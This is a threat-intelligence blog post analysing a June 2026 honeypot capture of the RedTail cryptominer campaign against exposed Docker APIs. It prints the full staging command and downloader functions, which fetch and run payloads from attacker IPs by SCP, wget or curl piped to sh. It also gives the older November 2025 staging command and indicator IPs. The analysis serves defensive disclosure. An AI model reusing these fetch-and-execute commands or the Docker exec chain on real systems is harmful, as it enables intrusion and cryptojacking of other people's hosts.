The AI Vulnerability Storm is here. Are your defenses ready? Read the White Paper
  • Threat Intelligence
  • Malware Analysis
  • Redtail

RedTail Docker API Campaign Evolves: SSH-Based Payload Delivery

A June 2026 Beelzebub honeypot capture shows the RedTail Docker API campaign has evolved: the staging command now embeds an OpenSSH private key and uses SCP as the primary payload retrieval method, falling back to HTTPS. The updated Bash payloads keep the docker.selfrep miner deployment seen in November 2025 while adding new downloader logic and filename-generation fallbacks.

Marco Pedrinazzi

Marco Pedrinazzi

Cybersecurity Researcher

<h3>RedTail Docker API Campaign Evolves: SSH-Based Payload Delivery</h3>

TL;DR In November 2025, research by Mario Candela at Beelzebub Labs reported what appeared to be the first documented public evidence of RedTail targeting exposed Docker APIs on port 2375. A Beelzebub honeypot capture from June 2026 provides evidence that the campaign has continued to evolve. The command executed inside the container now includes an OpenSSH private key and SSH configuration, uses SCP as the primary retrieval method, and falls back to HTTPS. The capture also shows payload changes, including two closely related Bash variants with updated downloader logic and additional filename-generation fallbacks, while retaining the docker.selfrep argument and the miner deployment behavior observed in November. These changes show that the actors behind RedTail remain active and continue to update their delivery techniques and payload tooling.

Introduction

In November 2025, research by Mario Candela at Beelzebub Labs reported what appeared to be the first documented public evidence of RedTail cryptominer activity targeting exposed Docker APIs on port 2375. Earlier public reporting about RedTail had focused on the exploitation of web applications, IoT devices, VPNs, and network appliances.

In June 2026, a Beelzebub honeypot recorded further RedTail activity against an exposed Docker API, revealing changes in both the command executed inside the container and the payloads it retrieved.

The activity retained the distinctive libredtail-http user agent and the docker.selfrep argument observed in November, connecting the two captures. These changes provide evidence that the actors behind RedTail remain active and continue to update their delivery techniques and payload tooling.

This article analyzes the full delivery chain captured in June 2026, from container enumeration and exec creation to detached execution, along with the command run inside the container and the payloads it retrieves.

Delivery Chain Analysis

The sequence below is a representative example of the delivery chain, taken from the earliest activity observed on June 10, 2026. The same pattern was also recorded from other source IPs in the dataset.

At 04:13:07 UTC, the source IP 47.77.182.54 sent a request to enumerate running containers through the exposed Docker API:

GET /containers/json

The response returned the list of running containers.

At 04:13:08 UTC, the same source issued exec-create requests against the discovered containers:

POST /containers/<redacted-container-id>/exec

Each request contained the same RedTail staging command.

The following event shows one example. The embedded private key, target host and container ID have been replaced with placeholders.

{
  "DateTime": "2026-06-10T04:13:08Z",
  "SourceIP": "47.77.182.54",
  "Protocol": "HTTP",
  "UserAgent": "libredtail-http",
  "HostHTTPRequest": "<redacted-host>:2375",
  "HTTPMethod": "POST",
  "RequestURI": "/containers/<redacted-container-id>/exec",
  "Body": {
    "AttachStdout": false,
    "AttachStderr": false,
    "Cmd": [
      "sh",
      "-c",
      "cd /tmp || cd /var/tmp || cd /dev/shm; echo '-----BEGIN OPENSSH PRIVATE KEY-----\n<REDACTED>\n-----END OPENSSH PRIVATE KEY-----' > key.ppk; echo 'StrictHostKeyChecking no\nUserKnownHostsFile /dev/null' > sshcfg; chmod 400 key.ppk; scp -F sshcfg -i key.ppk dlr@217.60.195.113:sh out_sh; if [ $? -eq 0 ]; then chmod +x out_sh; sh out_sh docker.selfrep; else (wget --no-check-certificate -qO- https://14.46.136.77/sh || curl -sk https://14.46.136.77/sh) | sh -s docker.selfrep; fi; rm -rf sshcfg key.ppk out_sh"
    ]
  }
}

The request instructs Docker to create an exec instance that runs:

sh -c "<staging command>"

Standard output and standard error attachment are disabled:

{
  "AttachStdout": false,
  "AttachStderr": false
}

The staging command begins by moving into one of three common writable temporary directories:

cd /tmp || cd /var/tmp || cd /dev/shm

The staging command writes an OpenSSH private key into the container and creates a temporary SSH client configuration:

echo '<REDACTED OPENSSH PRIVATE KEY>' > key.ppk
echo 'StrictHostKeyChecking no
UserKnownHostsFile /dev/null' > sshcfg
chmod 400 key.ppk

The SSH configuration disables host key verification and prevents host information from being stored in a known-hosts file. These settings allow the SCP command to run without waiting for host-verification input.

The private key is assigned 400 permissions because OpenSSH rejects private keys that are accessible by other users.

The primary retrieval path uses SCP:

scp -F sshcfg -i key.ppk dlr@217.60.195.113:sh out_sh

This command authenticates to 217.60.195.113 as the user dlr, retrieves the remote file sh, and saves it inside the container as out_sh.

If the SCP transfer succeeds, the staging command marks the downloaded script as executable and launches it with docker.selfrep:

chmod +x out_sh
sh out_sh docker.selfrep

If SCP fails, the staging command retrieves a related script over HTTPS:

(wget --no-check-certificate -qO- https://14.46.136.77/sh || curl -sk https://14.46.136.77/sh) | sh -s docker.selfrep

The fallback first tries wget and then curl. Both commands disable TLS certificate verification. The downloaded script is streamed directly into sh with docker.selfrep as its argument.

After the selected script finishes, the staging command removes the temporary SSH files and the locally saved out_sh script:

rm -rf sshcfg key.ppk out_sh

The same source then sent requests to the Docker exec-start endpoint:

POST /exec/<redacted-exec-id>/start

The first start request was recorded at 04:13:08 UTC, followed by additional start requests at 04:13:09 UTC. Each request used:

{
  "Detach": true,
  "Tty": false
}

This starts the exec instance in detached mode without allocating a TTY. The staging command then runs inside the selected container.

The representative sequence can be summarized as follows:

Time (UTC)Docker API callAction
04:13:07GET /containers/jsonEnumerate and retrieve the running container inventory
04:13:08POST /containers/<container-id>/execCreate an exec instance containing the staging command
04:13:08–04:13:09POST /exec/<exec-id>/startRun the staging command inside the target container

Once started, the staging command executes the following steps inside the container:

  1. Move into a writable directory (/tmp, /var/tmp, or /dev/shm).
  2. Write the key.ppk private key and the sshcfg SSH configuration.
  3. Attempt to retrieve the payload over SCP from 217.60.195.113.
    • On success: execute out_sh docker.selfrep.
    • On failure: fetch https://14.46.136.77/sh and execute the HTTPS variant with docker.selfrep.
  4. Remove sshcfg, key.ppk, and out_sh to clean up artifacts.

This sequence was repeated across activity from multiple source IPs in the dataset.

Payload Analysis

The staging command can execute two closely related Bash payload variants. The SCP path saves the remote script as out_sh, while the HTTPS fallback streams a related sh variant directly into the shell.

Both receive the docker.selfrep argument and share the same deployment logic. Their main difference is the downloader logic used to retrieve clean and the miner binaries.

Randomized Hidden Filename

Both scripts generate a hidden filename for the miner:

FILENAME=".$(get_random_string)"

The random-name function tries openssl, /dev/urandom, and Bash’s $RANDOM. If these methods fail, it uses the static value redtail.

Downloader Logic

The main difference between the two payload variants is the dlr() function.

The SCP-delivered out_sh variant tries SCP first and falls back to HTTPS if the transfer fails:

dlr() {
  rm -rf $1
  scp -F sshcfg -i key.ppk dlr@217.60.195.113:$1 $1
  if [ $? -ne 0 ]; then
    wget --no-check-certificate -q https://14.46.136.77/$1 ||
    curl -skO https://14.46.136.77/$1
  fi
}

The HTTPS-delivered sh variant uses only wget or curl:

dlr() {
  rm -rf $1
  wget --no-check-certificate -q https://14.46.136.77/$1 ||
  curl -skO https://14.46.136.77/$1
}

Both variants use this function to retrieve the clean component and the architecture-specific miner binaries.

Working Directory Selection

Both scripts search for a suitable working directory. The process:

  • looks for directories owned by the current user with read, write, and execute permissions.
  • excludes paths on filesystems mounted with noexec from the initial search.
  • excludes directories below /proc and /tmp.
  • adds /tmp, /var/tmp, and /dev/shm as additional candidates.
  • tests each directory by creating a temporary file and allocating a 2 MB file with dd or truncate.
  • selects the first directory that passes these checks.

The out_sh variant also moves key.ppk and sshcfg from /tmp into the selected directory, then applies 400 permissions to key.ppk so it remains usable by the SCP downloader.

cleanScript

Before downloading the miner, both variants retrieve and execute a script named clean:

dlr clean
chmod +x clean
sh clean >/dev/null 2>&1
rm -rf clean
rm -rf .redtail
rm -rf $FILENAME

As described in the earlier Beelzebub research, the clean component likely:

  • terminates competing cryptominers.
  • removes other attackers’ malware.
  • frees CPU resources.

After execution, the script removes clean, deletes any existing .redtail file, and clears any file matching the newly generated hidden filename.

Multi-Architecture Deployment

Both scripts detect the system architecture with:

ARCH=$(uname -mp)

They select one of four miner binaries:

  • x86_64 for x86_64 and amd64.
  • i686 for i386, i486, i586, and i686.
  • aarch64 for armv8 and aarch64.
  • arm7 for armv7.

For a recognized architecture, the script uses dlr() to download the matching binary, renames it with the randomized hidden filename, marks it executable, and launches it with the argument received from the staging command:

chmod +x $FILENAME
./$FILENAME $1 >/dev/null 2>&1

In this capture, $1 contains docker.selfrep.

If the architecture is not recognized, the script downloads and attempts to execute x86_64, i686, aarch64, and arm7 in sequence.

After execution, the out_sh variant also removes sshcfg and key.ppk.

Comparison with the November 2025 Beelzebub Capture

The November 2025 capture used a direct HTTP-based staging command:

cd /tmp || cd /var/tmp; curl http://178.16.55.224/sh -o redtail.sh || wget http://178.16.55.224/sh -O redtail.sh; chmod +x redtail.sh; ./redtail.sh docker.selfrep; rm -rf redtail.sh

The command downloaded sh from 178.16.55.224, saved it as redtail.sh, executed it with docker.selfrep, and removed the script afterward.

The June 2026 command uses SCP as the primary retrieval method. It writes an OpenSSH private key and SSH configuration into the container, retrieves sh from 217.60.195.113, and saves it as out_sh. If SCP fails, it retrieves a related script over HTTPS from 14.46.136.77.

The payload logic remains similar across both captures. The main payload change is the downloader: the November script used wget, curl, and a /dev/tcp fallback. The June out_sh variant uses SCP first and HTTPS as a fallback, while the June sh variant uses HTTPS through wget or curl.

The June scripts also include /dev/urandom, $RANDOM, and the static value redtail as filename-generation fallbacks. These methods were not documented in the November research.

Indicators of Compromise

Observed Source IPs

  • 101.36.104.242
  • 109.236.50.3
  • 157.245.118.253
  • 212.22.85.237
  • 47.77.182.54
  • 47.79.37.117
  • 68.183.234.194

Payload Staging Infrastructure

IndicatorRole
217.60.195.113SCP staging server
14.46.136.77HTTPS server

Conclusions

This new capture confirms that the RedTail operators are actively refining their Docker API attack chain rather than treating it as a one-off experiment. Since our first observation in November 2025, the staging command has evolved from a simple HTTP download into a multi-stage routine that ships an OpenSSH private key and configuration into the container and prefers SCP retrieval, with HTTPS kept only as a fallback.

The shift toward SCP-based delivery and the additional filename-generation fallbacks point to an operation that is iterating on resilience and detection evasion while keeping its core mining payload stable. Exposed Docker APIs remain a high-value, under-monitored target, and this campaign shows the cost of leaving them reachable from the internet. 🚨

This is the latest entry in our ongoing series dedicated to malware analysis. The Beelzebub community continues its commitment to making the internet a safer place. ❤️

Try Our Managed Platform

Security deception runtime framework with zero false positives
Continuous validation via automated AI Red Teaming
Real-time malware analysis via our CTI Hub
Instant threat containment driven by the AI SOC